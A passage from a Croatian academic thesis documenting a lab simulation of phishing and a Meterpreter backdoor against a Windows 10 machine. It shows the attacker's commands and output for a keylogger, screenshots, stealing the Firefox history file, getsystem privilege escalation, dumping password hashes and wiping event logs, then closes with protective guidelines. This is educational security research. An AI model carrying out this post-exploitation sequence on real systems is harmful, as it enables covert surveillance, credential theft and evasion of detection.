,cat” zajedno s nazivom datoteke unutar konzole ispisuje se sadrzaj. Na slici 35. moguce je
vidjeti provedene izmjene, s aspekta ,,napadaca“ u Kali Linux okruzenju i ,,zrtve* u okruZenju

Windows operativnog sustava.
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Test.txt - Notepad
meterpreter > cat Test.bet

Ovo je testna datoteka. File Edit Format View Help

Ovo je testna datoteka.
*#* RACUNALO JE HAKIRANO I} #+

#EE RACUNALO JE HAKIRANO 11 #%=

Slika 35. Prikaz izmijenjenog sadrzaja tekstualne datoteke

Osim izmjena sadrzaja, u okviru Meterpreter napada moguce je manipulirati kamerom
zrtve, potajno ju uslikati ili pokrenuti webcam stream. Takoder, moguce je i zrcaliti zaslon
zrtve 1 na taj ju nacin pratiti u stvarnom vremenu. Obzirom na nemoguénost adekvatne
demonstracije navedenih akcija, u radu je prikazana opcija ,,slikanja“ sadrzaja zaslona mete
napada. Izvrsavanjem naredbe ,,screenshot™ u /root/ direktorij napadaca pohranjuje se trenutni
zaslon zrtve. Za potrebe simulacije na racunalu ,,zrtve® ucitana je login stranica drustvene
mreze Twitter, a na slici 36. prikazana je navedena naredba i pohranjeni screenshot otvoren

na racunalu ,,napadaca®.

meterpreter > screenshot
Screenshot saved to: froot/pRsynPNE.jpeg

’E | Ym=® | E’ my ip - Google pretraziv...| B} ImageMagick: bkZhXXF.. F] root@Kkali: ~
D/ ImageMagick: bkZhXXFLjpeg

W Prijava na Twitter / Twitter x +

€ 2> C @& twittercom

L

Prijavite se na

Twitter

Slika 36. Screenshot udaljenog racunala

IzvrSavanjem naredbe ,,ps“ napada¢ je u moguénosti prikupiti informacije o svim
trenutno pokrenutim procesima na udaljenom racunalu. Na slici 37. prikazan je dio ispisa
pokrenutih procesa, pri ¢emu je za ovu simulaciju od znacaja proces broj 4816 — firefox.exe,

oznaCen crvenom bojom. Znaju¢i da ,Zrtva“ koristi Mozilla Firefox mreZni preglednik,
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,hapada¢“ je u mogucénosti iskoristiti pristup lokalno pohranjenim podacima preglednika i

prikupiti osjetljive informacije.

meterpreter > ps

Process List

0 0 [System Process]

4 0 System

100 4 Registry

124 1072 dllhost.exe x64 5
220 1072 ApplicationFrameHost.exe x64 5 DESKTOP-C40E415\igOr C:\Windows\System32\ApplicationFrameHost.exe
628 4 smss.exe

756 740 csrss.exe

844 740 wininit.exe

920 844 services.exe

940 844 Isass.exe

1072 920 swchost.exe

1096 844 fontdrvhost.exe

1148 920 swchost.exe

1192 920 swvchost.exe

1240 920 swvchost.exe

1244 920 svchost.exe

1292 920 swchost.exe

1356 7812 SecurityHealthSystray.ex x64 5 DESKTOP-C40E415\igOr C:\Windows\System32\SecurityHealthSystray.exe

4688 920 vsserv.exe

4704 920 WsxService.exe

4716 920 vsservppl.exe

4732 920 svchost.exe

4816 7772 firefox.exe x64 5 DESKTOP-C40E415\igOr C:\Program Files\Mozilla Firefox\firefox.exe

4960 11124 AMDRSSrcExt.exe x64 5 DESKTOP-C40E415\igOr C:\Program Files\AMD\CNext\CNext\AMDRSSrcExt.exe
5080 920 svchost.exe

Slika 37. Ispis pokrenutih procesa na udaljenom racunalu

Na mreznoj stranici tvrtke Mozilla dostupne su informacije o korisni¢kim profilima, 0
svemu sto se lokalno pohranjuje, pod kojim nazivom i u kojem formatu. Vrlo jednostavno je
do¢i do potrebnih informacija, saznati da su sve oznake (engl. bookmarks), kao i popis svih
preuzetih datoteka i posjecenih stranica pohranjeni u datoteci imena ,,places.sqlite®.
IzvrSavanjem naredbe ,,search” uz specificiranje trazenog imena moguce je locirati datoteku
na udaljenom racunalu. Na slici 38. prikazana je pretraga datoteke ,places.sqlite” te

pozicioniranje u pronadeni direktorij.

meterpreter > search -f places.sqlite
Found 1 result...

c:\Users\igOr\AppData\Roaming\Mozilla\Firefox\Profiles\b3ofOvt5.default-release\places.sqlite (15728640 bytes)

meterpreter > cd 'c:\Users\igOr\AppData\Roaming\Mozilla\Firefox\Profiles\b3ofOvt5.default-release\'

meterpreter > pwd
c:\Users\igOr\AppData\Roaming\Mozilla\Firefox\Profiles\b3ofOvt5.default-release

Slika 38. Pretraga specificirane datoteke na udaljenom rac¢unalu
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Jednom pronadenu, datoteku je s udaljenog racunala moguce preuzeti. [zvrSavanjem
naredbe ,,download places.sglite*, prikazane na slici 39., pokrenut je proces preuzimanja
specificirane datoteke u /root/ direktorij Kali Linux operativnog sustava.

meterpreter > download places.sqlite

[*] Downloading: places.sqlite -> [root/places.sqlite

[*] Downloaded 1.00 MiB of 15.00 MiB (6.67%): places.sqlite -> froot/places.sqlite

[*] Downloaded 2.00 MiB of 15.00 MiB (13.33%): places.sqlite -> froot/places.sqlite
[*] Downloaded 3.00 MiB of 15.00 MiB (20.0%): places.sqglite - > [root/places.sqlite

[*] Downloaded 4.00 MiB of 15.00 MiB (26.67%): places.sqlite -> froot/places.sqlite
[*] Downloaded 5.00 MiB of 15.00 MiB (33.33%): places.sqlite -> [root/places.sqlite
[*] Downloaded 6.00 MiB of 15.00 MiB (40.0%): places.sqlite -> Jroot/places.sqlite
[*] Downloaded 7.00 MiB of 15.00 MiB (46.67%): places.sqlite -> /root/places.sqlite
[*] Downloaded 8.00 MiB of 15.00 MiB (53.33%): places.sqlite -> jroot/places.sqlite
[*] Downloaded 9.00 MiB of 15.00 MiB (60.0%): places.sqlite -> froot/places.sqlite
[*] Downloaded 10.00 MiB of 15.00 MiB (66.67%): places.sqlite - > [rootfplaces.sqlite
[*] Downloaded 11.00 MiB of 15.00 MiB (73.33%): places.sqlite -> froot/places.sqlite
[*] Downloaded 12.00 MiB of 15.00 MiB (80.0%): places.sqlite -> [root/places.sqlite
[*] Downloaded 13.00 MiB of 15.00 MiB (86.67%): places.sqlite - > [root/places.sqlite
[*] Downloaded 14.00 MiB of 15.00 MiB (93.33%): places.sqlite -> [root/places.sqlite
[*] Downloaded 15.00 MiB of 15.00 MiB (100.0%): places.sqlite -> Jroot/places.sqlite
[*] download : places.sqlite -> [root/places.sqlite

Slika 39. Preuzimanje datoteke s udaljenog rac¢unala

Osim pracenja putem kamere ili zrcaljenjem zaslona, Zrtvu je u stvarnom vremenu
moguce pratiti i upotrebom keylogger-a. Dokumentiranje unosa tipkovnicom moze otkriti
veliku koli¢inu osjetljivih informacija i biti od velike koristi napadacu. Pokrece se naredbom
,keyscan_start”, a funkcionalnost biljezenja unosa tipkovnicom aktivno je sve do obustave
naredbom ,keyscan_stop“. IzvrSavanjem naredbe ,keyscan dump® na zaslonu napadaca
ispisuje se prikupljeni sadrzaj. Na slici 40. prikazan je postupak pokretanja, ispisa ,,zrtvinog*
unosa i zaustavljanja keylogger-a.

meterpreter > keyscan_start
Starting the keystroke sniffer ...

meterpreter > keyscan_dump
Dumping captured keystrokes...

<Shift>Sto je phishing i kako ga prepoznati<Shift>?

meterpreter > keyscan_stop
Stopping the keystroke sniffer...

Slika 40. Meterpreter keylogger
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Odredene Meterpreter naredbe zahtijevaju visoku razinu privilegija, a u slucaju
nedostatka, radnje koje je moguée izvesti na udaljenom sustavu mogu biti ozbiljno
ograni¢ene. Dohvat lozinki, manipuliranje registrom, instaliranje backdoor-a i sli¢ne
aktivnosti zahtijevaju administratorske, system-level privilegije koje je moguée ostvariti
Meterpreter skriptom getsystem. IzvrSavanjem naredbe ,,getsystem®, prikazane na slici 41.,
pokreée se istoimena skripta, uslijed ¢ega se izvrSavaju razliCite tehnike za eskalaciju,

odnosno povecanje privilegija (engl. privilege escalation).

meterpreter > getsystem

...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)).

Slika 41. Pokretanje Meterpreter skripte getsystem

Ostvarenom administratorskom razinom privilegija moguée je U potpunosti
eksploatirati ciljani sustav. Moguée je kreirati trajni backdoor i time zadrzati pristup
kompromitiranom sustavu, ¢ak i u slu€aju prestanka rada eksploatirane usluge ili primjene

sigurnosne zakrpe (engl. patch).

Izvrsavanjem naredbe ,,hashdump* ostvaruje se dohvacanje sadrzaja Security Account
Manager (SAM) baze podataka, u kojoj su pohranjene lozinke korisnika sustava. Kao rezultat
,»hashdump* naredbe ispisuje se hash vrijednost svih pohranjenih lozinki svih korisnika
napadnutog racunala. ISpis prikazan na slici 42. moguce je pohraniti kao tekstualnu datoteku i
uporabom alata za ,,razbijanje* lozinki, alata John The Ripper, do¢i do lozinki.

meterpreter > hashdump

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089¢0:::

Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089¢0:::
igOr:1001:aad3b435b51404eeaad3b435b51404ee:751224998a284863460e66e68d8a502b:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:d15fcd1f3cb29831dad167e9c5828679:::

Slika 42. Hash vrijednosti lozinki kompromitiranog sustava

Obzirom da se svaka interakcija u okruzenju Windows operativnog sustava biljezi u
obliku event log-ova, aplikacijskih, sigurnosnih i sistemskih zapisnika, potrebno je
naposljetku utjecati na pohranjene dogadaje. Kompromitiranje Windows sustava upotrebom
Meterpretera, povecanje privilegija, kao i druge radnje automatski se biljeze u spomenutim
zapisnicima, zbog ¢ega je napadacu od velike vaznosti manipulacija zabiljezenim dogadajima.
Izvrsavanjem naredbe ,,clearev®, prikazane na slici 43., pokrece se proces brisanja svih

zabiljezenih dogadaja.
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meterpreter > clearev
[*] Wiping 4605 records from Application...

[*] Wiping 5371 records from System...
[*] Wiping 35073 records from Security...

Slika 43. Brisanje zabiljezenih dogadaja

Na slici 44. prikazani su Windows zapisnici u okviru Event Viewer-a, prije 1 poslije

izvrSavanja naredbe ,,clearev*.

Windows Logs Windows Logs

Name Type MNumber of Events J Size Name Type MNumber of Events
Application Administrative §4.535 407 MB Application Administrative §0
Security Administrative 20,00 MB Security Administrative || 1
Setup Operational 68 KB Setup Operational 22
System Administrative 3,07 MB System Administrative
Forwarded Events Operational 0 Bytes Forwarded Events Operational 0

Slika 44. Windows zapisnici prije i nakon izvrSavanja naredbe ,,clearev‘

Size
68 KB
68 KB
68 KB
68 KB
0 Bytes
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6. ANALIZA DOBIVENIH REZULTATA | PRIJEDLOG SMJERNICA
ZASTITE

Koristenje mreznih platformi u ciljanim napadima u stalnom je porastu i doseze razli¢ite
domene i vrste prijetnji, a pomno usmjereni napadi na podatke pojedinaca i organizacija
planiraju se i izvode od strane razli¢itih aktera. Kiberneticke prijetnje biljeze kontinuirani
porast na globalnoj razini, a razli¢ite vrste napada u kibernetickom prostoru postaju sve
sofisticiranije 1 slozenije i utjeCu na svakodnevni zivot i poslovanje. Razli¢iti maliciozni
programi, racunalne prijevare, zloporabe osobnih i financijskih podataka te zloporabe na

drustvenim mrezama samo su neki od njih, [69].

U prethodnoj cjelini rada simulacijom je demonstrirana problematika dva cesta
kiberneticka napada temeljena na metodama socijalnog inZenjeringa. Kroz tehni¢ku provedbu
predstavljeni su e-mail phishing i kreiranje backdoor pristupa ciljanom rac¢unalu, ostvarenog
pomocu lazne mrezne stranice. Napadi su izvedeni koriStenjem dva prijenosna racunala i dvije

lokalne mreze kako bi simulacija bila realizirana u $to realnijim uvjetima.

Tablica 5. Rezultati provedenih simulacija

Napad Rezultat napada Posljedice za Zrtvu
e Distribucija zlonamjerne e Napadac ima pristup
elektronicke poste podacima za prijavu na
e Otvaranje laznog sucelja za Facebook
prijavu na druStvenu mrezu e Moguénost prijave i
L Facebook neovlastenog koristenja
E-mail phishing i . . o y
e Preusmjeravanje preglednika korisnickog profila zrtve
Zrtve na stvarno Facebook e Mogucéa kompromitacija
sucelje drugih usluga ukoliko zrtva
e Dohvat unosa podataka koristi iste podatke za prijavu
korisnika na strani napadaca
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e Udaljeno izvrSavanje naredbi
od strane napadaca

e Uvid u informacije o sustavu
zrtve

e Nezeljena izmjena
pohranjenog sadrzaja

Stvaranje e Omoguéen udaljeni pristup i | ® Zrcaljenje zaslona zrtve
backdoor kompromitacija racunala ¢ Biljezenje unosa tipkovnicom
pristupa zrtve e Uvid u trenutno aktivne

procese na racunalu

e Udaljena pretraga sadrzaja na
racunalu

e Otudivanje podataka

e Trajna izlozenost racunala
kontroli napadaca

U tablici 5. prikazana je sinteza rezultata provedenih simulacija u okviru koje su vidljivi
ostvareni ishodi napada, kao i potencijalne posljedice za Zrtvu ukoliko se planirani napadi

uspjesno realiziraju.

6.1. Analiza simulacije phishing napada

Phishing, metoda napada socijalnog inzenjeringa, pojam je koji podrazumijeva
aktivnosti kojima neovlaSteni korisnici koriStenjem laZiranih poruka elektronicke poste i1
laziranih mreznih stranica legitimnih organizacija pokusavaju korisnika navesti na otkrivanje
povjerljivih osobnih podataka, [70]. U okruzenju Kali Linux operativnog sustava, upotrebom
Social Engineering Toolkit-a kreirano je sucelje za prijavu na drustvenu mrezu Facebook.
Lazirana stranica postavljena je na Apache mrezni posluZitelj, a alatom dostupnim takoder u
SET-u, simulirano je slanje elektronicke poste. Za potrebe simulacije kreiran je vjerodostojni
sadrzaj poruke koja se Salje, a sadrzavala je maskiranu poveznicu koja vodi na prethodno
stvorenu malicioznu stranicu. Sadrzaj elektronicke poSte bio je usmjeren na Korisnika
drustvene mreze Facebook, a kao u slucaju pravog phishing napada, ¢esto upotrebljavanom
taktikom zastraSivanja i navodenjem na hitno poduzimanje trazene akcije, simulirana je
zeljena reakcija ,,zrtve”. Klikom na poveznicu na strani ,,zrtve® ucitana je maliciozna stranica,
a unosom vjerodajnica, adrese e-poste i lozinke korisnika, u okviru Social Engineering
Toolkit-a ispisali su se dohvaceni podaci. Ovakva vrsta napada danas je jako cesta i nerijetko

rezultira po napadaca uspjesnim ishodom. Osim kompromitacije korisni¢kog profila ciljane
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platforme, ovakav napad moze za zrtvu imati dodatne posljedice. Jo§ uvijek je Cesta praksa
mnogih korisnika uporaba iste lozinke za prijavu na visestruke internetske usluge, zbog ¢ega
uspjesan napad phishing metodom i prikupljanje vjerodajnica jedne platforme moze rezultirati
kompromitacijom znatno veceg opsega. Koriste¢i e-postu kao korisnicko ime i ukradenu
lozinku, napada¢ moze pokusSati pristupiti drugim uslugama te u slucaju uspjeSne prijave

izvoditi brojne druge napade.

Osim napada usmjerenog na korisnika drustvene mreze Facebook demonstriranog u
okviru simulacije, isti princip phishing napada moze se primijeniti i na korisnike ostalih
mreznih usluga, ukljucujuci telekomunikacijski sektor, financijske institucije, ostale platforme
drustvenih mreza, platforme za obavljanje financijskih transakcija, internetske trgovine,
instant-messaging servise, servise za pohranu u oblaku i druge. Na grafikonu 1. prikazana je
ucestalost phishing napada u pojedinim sektorima, prema izvjestaju Agencije Europske unije
za kiberneti¢ku sigurnost (ENISA) objavljenom 2020. godine pod nazivom ,,ENISA Threat
Landscape 2020 — Phishing™.

Softver kao usluga/Mrezni klijent za elektroni¢ku postu
(engl. Software as a Service; SaaS/Web mail)

Telekomunikacijski sektor (engl. Telecom)

34%
Pohrana u oblaku (engl. Cloud storage/File hosting)
Financijske institucije (engl. Financial institution)
4% . . )
4% Drustveni mediji (engl. Social media)

Elektroni¢ko poslovanje, maloprodaja
(engl. E-commerce, retail)

22%

O
(@)
o
() Platni sustavi (engl. Payment)
@
@]
[

Grafikon 1. Mete phishing napada
Izvor: [11]

Godina 2020. zapocela je izvanrednom situacijom, proglasenjem pandemije COVID-
19. Neocekivana 1 neizvjesna situacija idealno je okruzenje za napade socijalnim
inZenjeringom, kojima se nastoji emocionalno destabilizirati Zrtvu. Udaljeni rad, ,rad od
ku¢e”, ucinio je =zaposlenike dodatno ranjivima, odnosno podloznima malicioznim
poveznicama. Prema istrazivanjima, uslijed samo jednog mjeseca pandemije ucestalost
phishing napada povezanih s koronavirusom porasla je za 667%. Nove prijevare ukljucivale
su laznu e-poStu dizajniranu da izgleda kao da potjeCe od strane Svjetske zdravstvene

organizacije (World Health Organization; WHO), Centra za kontrolu i prevenciju bolesti
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(Centers for Disease Control and Prevention; CDC), ali i drugih zdravstvenih organizacija i
ustanova, [11]. Osim toga, prema podacima globalne cybersecurity tvrtke Kaspersky, nac¢ini
iskoriStavanja ljudskog faktora uslijed pandemije obuhvatili su i dostavne i poStanske sluzbe.
Zlonamjerni korisnici su kroz lazne poruke elektronicke poste slali podatke o raGunima i
adresama skladista, u sklopu kojih su se nalazile maliciozne datoteke. Takoder, porastao je i
broj phishing napada naslovljenih na banke korisnika. Unutar zaprimljene poruke sadrzana je
I maskirana zlonamjerna datoteka s dodatnim instrukcijama ili poveznica za dobivanje
dodatnih detalja, a kao rezultat lakovjernosti korisnika napada¢ima je omogucen pristup
korisni¢kim racunalima, osobnim podacima, kao i autentifikacijskim podacima za razne

usluge, [71].

6.2. Analiza simulacije backdoor napada

U svijetu kiberneticke sigurnosti, termin backdoor odnosi se na bilo koju metodu
pomocu koje korisnici, bilo ovlasteni ili neovlasteni, zaobilaze uobicajene sigurnosne mjere i
na raCunalnom sustavu, mrezi ili softverskoj aplikaciji ostvaruju takozvani root pristup,
pristup visoke razine, [72]. Ostvarenjem backdoor pristupa posredstvom zlonamjernog
programa temeljenog na odredenom Transmission Control Protocol (TCP) ili User Datagram
Protocol (UDP) portu, napadac¢ima je omogucéeno izvodenje raznih akcija na napadnutom
udaljenom racunalu, od krade podataka do potpunog preuzimanja kontrole nad sustavom. U
okruzenju Kali Linux operativnog sustava, upotrebom alata dostupnih u okviru Metasploit
Framework-a kreiran je zlonamjerni program, trojanski konj, temeljen na reverse_tcp metodi,
kojim je ostvaren backdoor pristup ciljanom racunalu. Za potrebe simulacije i demonstraciju
potpunog izvrSenja napada, takoder je kreirana i lazna mrezna stranica cybersecurity tvrtke
Bitdefender, posredstvom koje je izvrSena distribucija generiranog Meterpreter payload-a. S
ciljem prikaza napada u realnom okruzenju, izvan domene jedne lokalne mreze, prenosenje
zlonamjernog programa izvedeno je konfiguriranjem mreznog usmjerivaca, upotrebom javne i
privatne IP adrese i prosljedivanjem zeljenog porta, a pristup kloniranoj mreznoj stranici
ostvaren je upotrebom Apache posluzitelja i ngrok tuneliranjem. Otvaranjem poveznice
,Zrtva“ je preusmjerena na malicioznu stranicu, a preuzimanjem lazno predstavljene izvrsne
datoteke i njezinim pokretanjem, pokrenuta je sesija kojom je ,napadacu” omogucena

eksploatacija kompromitiranog sustava.
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Iako rjedi od phishing napada, kompleksni, sofisticirani napadi temeljeni na
eksploataciji ranjivosti i kreiranju backdoor pristupa predstavljaju izrazito veliki sigurnosni
izazov, ponajvise za pojedince te manja i srednje velika poduzeéa ograni¢enog budzeta. U
simuliranom napadu koristene su razli¢ite naredbe s ciljem demonstracije nekih od brojnih
mogucénosti ovog ozbiljnog napada. IzvrSavanjem naredbe ,,sysinfo* dohvacéeni su sistemski
podaci o ciljanom racunalu. Iz ispisa provedene naredbe moguce je iSCitati ime udaljenog
raCunala: DESKTOP-C40E415, kao i arhitekturu: x64 i inacicu instaliranog operativnog
sustava: Windows 10 (10.0 Build 19043). Znaju¢i navedeno, napada¢ je u mogucnosti
planirati i usmjeriti daljnji napad ka eksploataciji eventualnih ranjivosti operativnog sustava.
Osim toga, naredbom su dobivene informacije o jeziku sustava: en_US, kao i broju trenutno

prijavljenih korisnika: 2.

Izvr$avanjem naredbe ,,getuid” dohvaceno je ime korisnika udaljenog racunala: igOr,
$to napada¢u moze dodatno pomo¢i u profiliranju Zrtve. Naredbom ,.ipconfig* prikupljene su
informacije o mreznim suceljima i adresama udaljenog racunala, uklju¢ujuci ime koriStenog
mreznog sucelja, MAC adresu te IPv4 i IPv6 adrese. Laziranjem MAC adrese, napadac je u
mogucnosti ,,predstaviti” se kao mrezni usmjeriva¢ i kroz Man-in-the-Middle napade izvrsiti
kradu svih vjerodajnica. S druge strane, znajuci privatnu IP adresu zrtve, napadaé je u
mogucnosti saznati lokaciju udaljenog racunala, izvr$iti DDoS - distribuirani napad
uskraéivanjem resursa (engl. Distributed Denial of Service) ili primjerice upotrijebiti hakiranu

IP adresu za ilegalne aktivnosti za koje ne Zeli da se s njime povezuju.

Sljedece koriStene naredbe, ,,cd“ i ,pwd“ sluze isklju¢ivo za promjenu, odnosno
provjeru direktorija u kojemu se vrsi eksploatacija, dok se naredbom ,,Is* ostvaruje ispis svih
datoteka unutar trenutno pozicioniranog direktorija. Uvidom u sve datoteke pohranjene na
zeljenoj lokaciji, napada¢ je u mogucénosti izvoditi brojne napade. U radu je demonstrirana
naredba ,.edit, kojom je nakon spoznaje o postojanju datoteke Test.txt pokrenuto udaljeno
uredivanje tekstualne datoteke. Osim uvida u sam sadrzaja ciljane datoteke, navedenom
naredbom napada¢ je u moguénosti vrsiti izmjene i bez znanja zrtve spremiti Zeljene
promjene. Za potrebe demonstracije napada, u radu je u postojecu tekstualnu datoteku
ubacena obavijest ,,*** RACUNALO JE HAKIRANO !!! ***<  Naredbom ,cat“ i

definiranjem imena datoteke, na zaslonu napadaca ispisuje se sadrzaj specificirane datoteke.

U okviru Metasploit Meterpreter napada moguce je zrcaliti ekran Zrtve i u stvarnom

vremenu ju pratiti ili ,slikanjem® dokumentirati sadrzaj zaslona. IzvrSavanjem naredbe
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,,screenshot na racunalo napadaca pohranjuje se trenutni sadrzaj zaslona udaljenog racunala,
a osim toga mogucéa je i pohrana sadrzaja bilo kojeg pokrenutog procesa, neovisno 0
trenutnom sadrzaju zaslona zrtve. Osim nadziranja zrtve kroz pracenje sadrzaja koji
pretrazuje, moguca je i upotreba keylogger funkcionalnosti, kojom se biljezi Zrtvin unos
tipkovnicom. Pokre¢e se naredbom ,keyscan_start“, dohvaceni unos na zaslonu napadaca
ispisuje se izvrSavanjem naredbe ,keyscan_dump®, a postupak se obustavlja izvodenjem
naredbe ,,keyscan_stop“. U okviru simulacije prikazan je screenshot sucelja za prijavu na
drustvenu mrezu Twitter, ucitanog na pregledniku ,zrtve®, a za potrebe demonstracije
keylogger funkcionalnosti, na strani ,,zrtve” izvriena je pretraga na Google trazilici: ,,Sto je
phishing i kako ga prepoznati?*“. Navedeni postupci napadacu mogu otkriti iznimnu koli¢inu
informacija o meti napada, od bezazlenih informacija do onih povjerljivih poput vjerodajnica,

bankovnih podataka i sli¢no.

Izvr$avanjem naredbe ,ps“ na zaslonu napadaca ispisuje se lista svih trenutno
pokrenutih procesa na kompromitiranom rac¢unalu. Imajuéi uvid u aktivne procese, napadac je
u moguénosti izvesti adekvatnu migraciju malicioznog procesa na neki drugi, sistemski
proces te dodatno profilirati zrtvu, saznati koje aplikacije koristi, ima li aktivan antivirusni
program 1 sli¢no. U simulaciji napada klju¢na je bila spoznaja o koriStenju Mozilla Firefox
mreznog preglednika. Iz popisa aktivnih procesa jednostavno je bilo izdvojiti firefox.exe,

proces na temelju kojega je usmjerena daljnja eksploatacija.

Sljedeca upotrijebljena naredba, naredba ,.search® omogucuje pretragu definiranog
sadrzaja na udaljenom racunalu. IzvrSavanjem naredbe moguce je vrsiti pretragu cijelog
sustava ili specificirati direktorij i time suziti obujam pretrage. U radu je specificirana
pretraga datoteke navedenog mreznog preglednika unutar koje su pohranjene oznake
korisnika, povijest pretrazivanja te popis preuzetih datoteka. Kao rezultat provedene naredbe,
na zaslonu napadacu ispisana je lokacija trazene datoteke: c:\Users\igOr\AppData\Roaming\

Mozilla\Firefox\Profiles\b3ofOvt5.default-release\places.sqlite.

Uz definiranu ciljnu datoteku i njezinu poznatu lokaciju mogué¢ je postupak
preuzimanja sadrzaja udaljenog racunala. IzvrSavanjem naredbe ,,download“ zajedno s
imenom datoteke, zapocinje se proces dohvata i lokalne pohrane. U radu je demonstrirano
preuzimanje datoteke places.sqlite, ranije spomenute datoteke mreznog preglednika Mozilla

Firefox. Obzirom da napada¢ prikazanom metodom moze preuzeti doslovno bilo koju
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datoteku s udaljenog racunala, navedeni napad predstavlja veliki sigurnosni problem za

svakog korisnika racunala.

Ostvarenjem potrebne sistemske razine ovlasti moguce je u potpunosti eksploatirati
kompromitirani sustav. [zvrSavanjem naredbe ,,getsystem* pokrece se istoimena Meterpreter
skripta, u okviru koje se izvrSavaju razliCite tehnike za povecanje privilegija. Jednom
uspjesno provedena naredba napada¢u omogucuje pristup apsolutno svim podacima ciljanog

raCunala, od dohvata lozinki i manipulacije registrom, do kreiranja trajnog backdoor pristupa.

Sljedeca prikazana naredba je ,.hashdump®, ¢ijim se izvrS§avanjem na strani napadaca
ostvaruje dohvacanje hash vrijednosti svih pohranjenih lozinki svih korisnika racunala.
Izvodenjem navedene naredbe na zaslonu napadaca ispisuju se hash vrijednosti Security

Account Manager baze podataka, koje je naknadno moguce dekriptirati.

Smisao backdoor napada je pro¢i neopazeno, a obzirom da se u okruzenju Windows
operativnog sustava svaka aktivnost biljezi u obliku zapisnika, event log-ova, nakon
izvrSavanja napada zlonamjerni korisnik ¢e nastojati unistiti vlastite tragove. IzvrSavanjem
naredbe ,clearev pokreée se proces brisanja svih zabiljezenih dogadaja u okviru
aplikacijskih, sigurnosnih i sistemskih zapisnika. Navedenom naredbom moguce je prikriti

provedene maliciozne radnje i time sprijeciti otkrivanje ostvarenog backdoor pristupa.

6.3. Prijedlog smjernica zastite

Napadi temeljeni na metodama socijalnog inZenjeringa u druStvu su prisutni puno
ranije od pojave Interneta, razvoja Big Data tehnologije i drustvenih mreZa, no €injenica da
danas dostupne informacijske tehnologije pruzaju brojne kanale za provedbu i napadacima
omogucéuju jednostavnu realizaciju, kiberneticke napade ucinila je neizbjeznim dijelom
svakodnevice, kako pojedinaca tako 1 organizacija. Obzirom da kiberneticke napade temeljene
na metodama socijalnog inZenjeringa, kao ni druge oblike sigurnosnih prijetnji, nije moguée
iskorijeniti, potrebno je poduzeti preventivne mjere i time osigurati potrebnu kontrolu i
smanijiti rizik od potencijalnih opasnosti. U nastavku rada iznesen je prijedlog smjernica
zaStite koje bi pojedinci i organizacije trebali primijeniti, odnosno implementirati kako bi

minimizirali vjerojatnost da postanu Zrtvom napada.

Za ostvarenje sigurne Kkorisnicke autentikacije potrebno je kreirati snazne,
jedinstvene lozinke i koristiti ih isklju¢ivo za jednu mreznu uslugu. Upotrebom razli¢itih

lozinki smanjuje se opseg posljedica potencijalne kompromitacije jednog korisnickog racuna.
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Ukoliko je moguce, potrebno je aktivirati visefaktorsku autentikaciju za sve koristene usluge
te kroz upotrebu upravitelja lozinkama (engl. password manager) sigurno pohraniti
generirane lozinke. Prilikom unosa lozinki nuzno je biti svjestan vlastitog okruzenja, a za
pristup elektronickom bankarstvu i drugim osobnim uslugama preko javne mreze predlaze se
upotreba virtualne privatne mreze (engl. Virtual Private Network; VPN). Vlastite uredaje na
javnim mjestima potrebno je drzati zaklju¢anima i pod nadzorom, a u slu¢aju kompromitacije

raCuna, hitnom promjenom lozinke pokusati zastiti podatke, [73].

Kako bi se zastitili od phishing napada, korisnici mreznih usluga moraju provjeriti
podatke posiljatelja, ime i adresu te utvrditi podudara li se domena e-poste S organizacijom u
¢ije ime se posiljatelj predstavlja. Vrlo je bitno ne dijeliti osobne, odnosno financijske
informacije i lozinke posredstvom elektronicke poste te izbjegavati interakciju s porukama u
kojima se zahtijeva hitno djelovanje. Potrebno je provjeriti vokabular i koriStenu
terminologiju, odnosno potencijalne pravopisne greske koje mogu ukazati na laziranu postu.
Pristigle URL poveznice od strane nepovjerljivih izvora uvijek treba izbjegavati, a u sluc¢aju
privitaka, poStu otvarati s velikom paznjom. Nuzno je provjeriti ekstenzije pristiglih
dokumenata te u slucaju .exe, .vbs, .bat i .pif, ekstenzija nikada ne otvarati ili preuzimati
sadrzaj. Za posjecivanje zeljenih stranica preporucuje se ru¢ni unos URL-a ili upotreba
prethodno pohranjenih oznaka (engl. bookmarks), a prilikom izvr$avanja mreznih financijskih
transakcija savjetuje se neotvaranje drugih sesija mreznog preglednika. Potrebno je osigurati
instalaciju najnovijih dostupnih sigurnosnih zakrpi te azurirati bazu koriStenog antivirusnog
softvera, a dodatnu razinu zastite ostvariti implementacijom filtera za detekciju i blokiranje

nezeljene elektronicke poste, [74], [75].

Za ucinkovitu zastitu od zlonamjernih programa potrebno je na svim primjenjivim
platformama implementirati detekciju zlonamjernih programa, za sve dolazne i odlazne
kanale, ukljucuju¢i e-mail, mrezne i aplikacijske sustave. KoriSteni operativni sustav i
antivirusni program nuzno je azurirati, a redovnim skeniranjem osigurati potrebnu kontrolu.
Redovnim prac¢enjem rezultata testova antivirusnih programa, zapisnika proxy posluzitelja,
Windows Event i Sysmon 3! zapisnika te zapisnika IDS 3 sustava, moguée je utvrditi

nepravilnosti u radu i postojanje nezeljenog malicioznog programa. Odlazni i dolazni promet

31 Sysmon (System Monitor) — alat koji nadgledanjem sustava i upisivanjem aktivnosti u dnevnik dogadaja
prosiruje funkcionalnost event log zapisnika Windows OS-a.

32 IDS (Intrusion Detection System) — sustav koji automatizirano prati mrezne i sistemske dogadaje u svrhu
detekcije krSenja sigurnosne politike.
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potrebno je analizirati, PowerShell 33 funkcije po potrebi smanjiti ili onemoguéiti te
implementirati filter za malicioznu postu. Za pristup Internetu savjetuje se koristenje
iskljucivo zasti¢ene, kriptirane veze, a od korisnika je kljucno da izbjegava piratski sadrzaj, ne
preuzima pristigle privitke i ne otvara poveznice skracenog URL-a. Neophodno je
razumijevanje mogucénosti sigurnosnih alata, a organizacijama se savjetuje razvoj sigurnosne
politike kojom se specificiraju postupci u slucaju infekcije zlonamjernim programom, [12],
[76].

Osim ve¢ spomenute snazne 1 jedinstvene lozinke te uporabe visefaktorske
autentikacije, za sigurno Koristenje druStvenim mrezama Kkorisnicima se savjetuje
prilagodavanje postavki privatnosti koristene usluge, kako bi se pristup korisnickom profilu
omogucio samo ovlastenim osobama. Za registraciju na drustvene mreZe savjetuje se zaseban,
